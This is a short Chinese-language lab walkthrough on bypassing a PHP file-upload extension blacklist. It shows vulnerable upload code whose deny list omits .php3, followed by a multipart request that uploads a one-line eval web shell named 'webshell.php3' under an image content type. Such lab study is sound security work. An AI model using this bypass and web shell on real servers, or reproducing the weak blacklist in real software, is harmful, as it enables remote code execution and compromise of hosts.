文件后缀名检查绕过
只是定义了 .php 的黑名单,我们可以发送 .php3文件后缀绕过 黑名单
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
|
请求头如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
------WebKitFormBoundarygj2Rulncyxhes3TI
Content-Disposition: form-data; name="upload_file"; filename="webshell.php3"
Content-Type: image/jpeg
<?php eval($_POST[cmd]) ?>
------WebKitFormBoundarygj2Rulncyxhes3TI
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarygj2Rulncyxhes3TI--
|